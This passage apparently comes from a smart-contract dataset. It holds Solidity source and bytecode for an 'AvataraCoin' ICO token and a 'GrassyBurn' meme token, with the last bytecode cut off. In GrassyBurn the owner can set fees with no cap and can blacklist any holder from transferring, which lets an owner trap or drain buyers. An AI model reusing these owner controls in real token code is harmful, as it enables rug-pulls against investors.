will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) { return mintInternal(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() whenNotPaused onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) { require(totalSupply.add(_amount) <= maxTokensToMint); totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(this, _to, _amount); return true; } } contract Avatar is MintableToken { string public constant name = "AvataraCoin"; string public constant symbol = "VTR"; bool public transferEnabled = false; uint8 public constant decimals = 18; uint256 public rate = 100000; uint256 public constant hardCap = 30000 ether; uint256 public weiFounded = 0; address public approvedUser = 0x48BAa849622fb4481c0C4D9E7a68bcE6b63b0213; address public wallet = 0x48BAa849622fb4481c0C4D9E7a68bcE6b63b0213; uint64 public dateStart = 1520348400; bool public icoFinished = false; uint256 public constant maxTokenToBuy = 4392000000 ether; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this) && _to != address(0)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } /** * @dev Modifier to make a function callable only when the transfer is enabled. */ modifier canTransfer() { require(transferEnabled); _; } modifier onlyOwnerOrApproved() { require(msg.sender == owner || msg.sender == approvedUser); _; } /** * @dev Function to stop transfering tokens. * @return True if the operation was successful. */ function enableTransfer() onlyOwner returns (bool) { transferEnabled = true; return true; } function finishIco() onlyOwner returns (bool) { icoFinished = true; return true; } modifier canBuyTokens() { require(!icoFinished && weiFounded <= hardCap); _; } function setApprovedUser(address _user) onlyOwner returns (bool) { require(_user != address(0)); approvedUser = _user; return true; } function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) { require(_rate > 0); rate = _rate; return true; } function () payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable { require(beneficiary != 0x0); require(msg.value >= 100 finney); uint256 weiAmount = msg.value; uint256 bonus = 0; uint256 totalWei = weiAmount.add(weiFounded); if(totalWei <= 600 ether){ require(weiAmount >= 1500 finney); bonus = 51; }else if (totalWei <= 3000 ether){ require(weiAmount >= 1500 finney); bonus = 30; if(weiAmount >= 33 ether){ bonus = 51; } }else if (totalWei <= 12000 ether){ require(weiAmount >= 1000 finney); bonus = 21; if(weiAmount >= 33 ether){ bonus = 42; } }else if (totalWei <= 21000 ether){ require(weiAmount >= 510 finney); bonus = 18; if(weiAmount >= 33 ether){ bonus = 39; } }else if (totalWei <= 30000 ether){ require(weiAmount >= 300 finney); bonus = 12; if(weiAmount >= 33 ether){ bonus = 33; } } // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); if(bonus > 0){ tokens += tokens.mul(bonus).div(100); } require(totalSupply.add(tokens) <= maxTokenToBuy); mintInternal(beneficiary, tokens); weiFounded = totalWei; TokenPurchase(msg.sender, beneficiary, tokens); forwardFunds(); } // send ether to the fund collection wallet function forwardFunds() internal { wallet.transfer(msg.value); } function changeWallet(address _newWallet) onlyOwner returns (bool) { require(_newWallet != 0x0); wallet = _newWallet; return true; } }
0x6060604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101ac57806306fdde03146101d9578063095ea7b31461026757806318160ddd146102c157806323b872dd146102ea5780632c4e722e14610363578063313ce5671461038c578063329d5f0f146103bb57806334ebb6151461040c578063356e29271461043557806337bdc146146104625780633f4ba83a1461048b57806340c10f19146104a05780634cd412d5146104fa578063521eb273146105275780635c975abb1461057c57806370a08231146105a957806374e7493b146105f65780637d64bcb4146106315780638456cb591461065e5780638da5cb5b1461067357806395d89b41146106c857806398b9a2dc14610756578063a3b6120c146107a7578063a9059cbb146107e4578063b9dc25c51461083e578063dd62ed3e14610893578063ec42f82f146108ff578063ec8ac4d81461092c578063f1b50c1d1461095a578063f2fde38b14610987578063f669052a146109c0578063fb86a404146109e9575b6101aa33610a12565b005b34156101b757600080fd5b6101bf610d1c565b604051808215151515815260200191505060405180910390f35b34156101e457600080fd5b6101ec610d2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561022c578082015181840152602081019050610211565b50505050905090810190601f1680156102595780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561027257600080fd5b6102a7600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d68565b604051808215151515815260200191505060405180910390f35b34156102cc57600080fd5b6102d4610d98565b6040518082815260200191505060405180910390f35b34156102f557600080fd5b610349600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d9e565b604051808215151515815260200191505060405180910390f35b341561036e57600080fd5b610376610e5f565b6040518082815260200191505060405180910390f35b341561039757600080fd5b61039f610e65565b604051808260ff1660ff16815260200191505060405180910390f35b34156103c657600080fd5b6103f2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e6a565b604051808215151515815260200191505060405180910390f35b341561041757600080fd5b61041f610f4e565b6040518082815260200191505060405180910390f35b341561044057600080fd5b610448610f5e565b604051808215151515815260200191505060405180910390f35b341561046d57600080fd5b610475610f71565b6040518082815260200191505060405180910390f35b341561049657600080fd5b61049e610f77565b005b34156104ab57600080fd5b6104e0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611037565b604051808215151515815260200191505060405180910390f35b341561050557600080fd5b61050d6110c3565b604051808215151515815260200191505060405180910390f35b341561053257600080fd5b61053a6110d6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561058757600080fd5b61058f6110fc565b604051808215151515815260200191505060405180910390f35b34156105b457600080fd5b6105e0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061110f565b6040518082815260200191505060405180910390f35b341561060157600080fd5b6106176004808035906020019091905050611158565b604051808215151515815260200191505060405180910390f35b341561063c57600080fd5b61064461122d565b604051808215151515815260200191505060405180910390f35b341561066957600080fd5b6106716112f5565b005b341561067e57600080fd5b6106866113b6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106d357600080fd5b6106db6113dc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561071b578082015181840152602081019050610700565b50505050905090810190601f1680156107485780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561076157600080fd5b61078d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611415565b604051808215151515815260200191505060405180910390f35b34156107b257600080fd5b6107ba6114e3565b604051808267ffffffffffffffff1667ffffffffffffffff16815260200191505060405180910390f35b34156107ef57600080fd5b610824600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114fd565b604051808215151515815260200191505060405180910390f35b341561084957600080fd5b6108516115bc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561089e57600080fd5b6108e9600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506115e2565b6040518082815260200191505060405180910390f35b341561090a57600080fd5b610912611669565b604051808215151515815260200191505060405180910390f35b610958600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a12565b005b341561096557600080fd5b61096d6116e9565b604051808215151515815260200191505060405180910390f35b341561099257600080fd5b6109be600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611769565b005b34156109cb57600080fd5b6109d3611845565b6040518082815260200191505060405180910390f35b34156109f457600080fd5b6109fc611855565b6040518082815260200191505060405180910390f35b6000806000806007601c9054906101000a900460ff16158015610a41575069065a4da25d3016c0000060055411155b1515610a4c57600080fd5b600360149054906101000a900460ff16151515610a6857600080fd5b60008573ffffffffffffffffffffffffffffffffffffffff1614151515610a8e57600080fd5b67016345785d8a00003410151515610aa557600080fd5b34935060009250610ac16005548561186390919063ffffffff16565b9150682086ac35105260000082111515610af5576714d1120d7b1600008410151515610aec57600080fd5b60339250610c1c565b68a2a15d09519be0000082111515610b3e576714d1120d7b1600008410151515610b1e57600080fd5b601e92506801c9f78d2893e4000084101515610b3957603392505b610c1b565b69028a857425466f80000082111515610b8857670de0b6b3a76400008410151515610b6857600080fd5b601592506801c9f78d2893e4000084101515610b8357602a92505b610c1a565b690472698b413b4320000082111515610bd257670713e24c437300008410151515610bb257600080fd5b601292506801c9f78d2893e4000084101515610bcd57602792505b610c19565b69065a4da25d3016c0000082111515610c1857670429d069189e00008410151515610bfc57600080fd5b600c92506801c9f78d2893e4000084101515610c1757602192505b5b5b5b5b5b610c316004548561188190919063ffffffff16565b90506000831115610c6757610c626064610c54858461188190919063ffffffff16565b6118b490919063ffffffff16565b810190505b6b0e30fa2d13ebccd228000000610c898260005461186390919063ffffffff16565b11151515610c9657600080fd5b610ca085826118cf565b50816005819055508473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fbc9b717e64d37facf9bd4eaf188a144bd2c53b675ca7ec8b445af85586d3e382836040518082815260200191505060405180910390a3610d15611a89565b5050505050565b600360159054906101000a900460ff1681565b6040805190810160405280600b81526020017f41766174617261436f696e00000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610d8657600080fd5b610d908383611aed565b905092915050565b60005481565b6000600360149054906101000a900460ff16151515610dbc57600080fd5b600360169054906101000a900460ff161515610dd757600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610e405750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1515610e4b57600080fd5b610e56848484611c74565b90509392505050565b60045481565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ec857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f0457600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6b0e30fa2d13ebccd22800000081565b6007601c9054906101000a900460ff1681565b60055481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610fd357600080fd5b600360149054906101000a900460ff161515610fee57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360149054906101000a900460ff1615151561105557600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110b157600080fd5b6110bb83836118cf565b905092915050565b600360169054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360149054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806112035750600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561120e57600080fd5b60008211151561121d57600080fd5b8160048190555060019050919050565b6000600360149054906101000a900460ff1615151561124b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112a757600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561135157600080fd5b600360149054906101000a900460ff1615151561136d57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f565452000000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561147357600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415151561149957600080fd5b81600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600760149054906101000a900467ffffffffffffffff1681565b6000600360149054906101000a900460ff1615151561151b57600080fd5b600360169054906101000a900460ff16151561153657600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561159f5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15156115aa57600080fd5b6115b48383611f24565b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116c757600080fd5b60016007601c6101000a81548160ff0219169083151502179055506001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174757600080fd5b6001600360166101000a81548160ff0219169083151502179055506001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561180157600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6b17a6f64b2133aab39800000081565b69065a4da25d3016c0000081565b600080828401905083811015151561187757fe5b8091505092915050565b600080828402905060008414806118a2575082848281151561189f57fe5b04145b15156118aa57fe5b8091505092915050565b60008082848115156118c257fe5b0490508091505092915050565b6000600360159054906101000a900460ff161515156118ed57600080fd5b6b17a6f64b2133aab39800000061190f8360005461186390919063ffffffff16565b1115151561191c57600080fd5b6119318260005461186390919063ffffffff16565b60008190555061198982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515611aeb57600080fd5b565b600080821480611b7957506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515611b8457600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611d4883600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186390919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ddd83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120bf90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e3383826120bf90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000611f7882600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120bf90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061200d82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186390919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156120cd57fe5b8183039050929150505600a165627a7a72305820e888d061f2347f89f9a438732fda62c90c79e5fb7f9053835f644bf7d445fecd0029
{"success": true, "error": null, "results": {}}
4,882
0x8247e7ce52393c662220f26b17d2c18f2ba69220
//SPDX-License-Identifier: UNLICENSED //https://t.me/GrassyBurn //https://www.grassyburn.com/ //MaxBuy 2% to start BurnParty!!! pragma solidity ^0.8.10; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GRASSYBRUN is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 420000000 * 10**9; string public constant name = unicode"GrassyBurn"; string public constant symbol = unicode"GRASSYBRUN"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 10; uint public _sellFee = 10; uint private _feeRate = 12; uint public _maxBuyTokens; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (3 minutes)) > block.timestamp) { require(amount <= _maxBuyTokens); require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createPair() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxBuyTokens = 8400000 * 10**9; _maxHeldTokens = 16800000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function IncreasemaxTxAmount(uint256 maxTxAmount) public onlyOwner { _maxBuyTokens = maxTxAmount; } function IncreaseWallet(uint256 maxWallet) public onlyOwner { _maxHeldTokens = maxWallet; } }
0x6080604052600436106101fd5760003560e01c80636fc3eaec1161010d5780639e78fb4f116100a0578063c3c8cd801161006f578063c3c8cd80146105da578063c9567bf9146105ef578063db92dbb614610604578063dcb0e0ad14610619578063dd62ed3e1461063957600080fd5b80639e78fb4f14610565578063a9059cbb1461057a578063b2289c621461059a578063b515566a146105ba57600080fd5b80637d34a0d3116100dc5780637d34a0d3146104d15780638da5cb5b146104f157806394b8d8f21461050f57806395d89b411461052f57600080fd5b80636fc3eaec1461046757806370a082311461047c578063715018a61461049c57806373f54a11146104b157600080fd5b806331c2d8471161019057806345596e2e1161015f57806345596e2e146103c357806349bd5a5e146103e3578063590f897e1461041b5780635dfba5f1146104315780636755a4d01461045157600080fd5b806331c2d8471461033e57806332d873d81461035e5780633bbac5791461037457806340b9a54b146103ad57600080fd5b80631940d020116101cc5780631940d020146102cc57806323b872dd146102e257806327f3a72a14610302578063313ce5671461031757600080fd5b806306fdde0314610209578063095ea7b3146102555780630b78f9c01461028557806318160ddd146102a757600080fd5b3661020457005b600080fd5b34801561021557600080fd5b5061023f6040518060400160405280600a81526020016923b930b9b9bca13ab93760b11b81525081565b60405161024c91906117e4565b60405180910390f35b34801561026157600080fd5b5061027561027036600461185e565b61067f565b604051901515815260200161024c565b34801561029157600080fd5b506102a56102a036600461188a565b610695565b005b3480156102b357600080fd5b506705d423c655aa00005b60405190815260200161024c565b3480156102d857600080fd5b506102be600d5481565b3480156102ee57600080fd5b506102756102fd3660046118ac565b61070f565b34801561030e57600080fd5b506102be610763565b34801561032357600080fd5b5061032c600981565b60405160ff909116815260200161024c565b34801561034a57600080fd5b506102a5610359366004611903565b610773565b34801561036a57600080fd5b506102be600e5481565b34801561038057600080fd5b5061027561038f3660046119c8565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103b957600080fd5b506102be60095481565b3480156103cf57600080fd5b506102a56103de3660046119e5565b610809565b3480156103ef57600080fd5b50600854610403906001600160a01b031681565b6040516001600160a01b03909116815260200161024c565b34801561042757600080fd5b506102be600a5481565b34801561043d57600080fd5b506102a561044c3660046119e5565b61089c565b34801561045d57600080fd5b506102be600c5481565b34801561047357600080fd5b506102a56108cb565b34801561048857600080fd5b506102be61049736